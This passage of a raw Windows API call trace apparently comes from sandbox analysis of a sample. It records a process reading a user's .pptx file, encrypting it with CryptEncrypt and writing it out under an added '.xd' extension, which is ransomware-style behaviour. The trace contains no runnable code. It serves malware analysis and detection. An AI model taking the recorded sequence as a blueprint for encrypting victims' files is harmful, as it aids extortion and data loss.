lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.563] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\l9pu4qohdw7u.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0070.563] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.563] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0070.563] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.563] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.563] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.563] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0070.564] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\l9pu4qohdw7u.pptx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0070.564] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.564] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.564] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.564] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.566] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0070.566] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0xcde2, lpOverlapped=0x0) returned 1 [0070.568] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0070.571] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.571] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.572] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.572] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0070.572] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.572] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.572] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0070.572] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.572] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0070.572] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.572] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.572] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.572] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0070.572] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0070.572] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0070.573] CryptGetKeyParam (in: hKey=0x164c7b0, dwParam=0x7, pbData=0x1629340, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629340*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0070.573] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.573] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.573] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.573] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.573] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.573] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.573] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.573] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.573] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.573] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.573] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.573] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.573] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.573] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.573] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.573] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.573] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.573] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.573] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.573] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.574] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.574] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.574] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.574] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.574] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621678, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.574] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.574] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xcde2, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xcdf0) returned 1 [0070.575] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.575] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.575] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.575] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.575] CharLowerBuffW (in: lpsz="byte[52721]", cchLength=0xb | out: lpsz="byte[52721]") returned 0xb [0070.575] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.576] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.576] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.576] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.576] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.576] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.576] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e0b20*, pdwDataLen=0x130e618*=0xcde2, dwBufLen=0xcdf0 | out: pbData=0x17e0b20*, pdwDataLen=0x130e618*=0xcdf0) returned 1 [0070.576] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.576] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.577] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.577] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.577] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.577] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.577] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.577] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.577] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.577] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.577] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.577] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.577] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.577] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.577] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.577] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.577] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.579] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.579] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.579] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.580] WriteFile (in: hFile=0x2ac, lpBuffer=0x17aedd8*, nNumberOfBytesToWrite=0xcdf0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesWritten=0x130f01c*=0xcdf0, lpOverlapped=0x0) returned 1 [0070.581] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.581] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.581] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0070.581] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.581] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.581] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0070.581] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0070.582] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0070.582] CryptDestroyKey (hKey=0x164c7b0) returned 1 [0070.582] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.582] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.582] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.582] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.582] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.582] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.582] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.582] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.582] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.582] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0070.582] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.582] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.582] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.582] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.583] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.583] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.583] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.583] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.583] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.583] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.583] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.583] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.583] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.583] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.583] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.583] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.583] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.583] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.583] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0070.583] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0070.583] CryptReleaseContext (hProv=0x17aa918, dwFlags=0x0) returned 1 [0070.583] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.584] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.584] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.633] FreeLibrary (hLibModule=0x74c60000) returned 1 [0070.633] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.633] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.633] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.634] CloseHandle (hObject=0x3bc) returned 1 [0070.635] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.635] CloseHandle (hObject=0x2ac) returned 1 [0070.637] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.638] PeekMessageW (in: lpMsg=0x130f3bc, 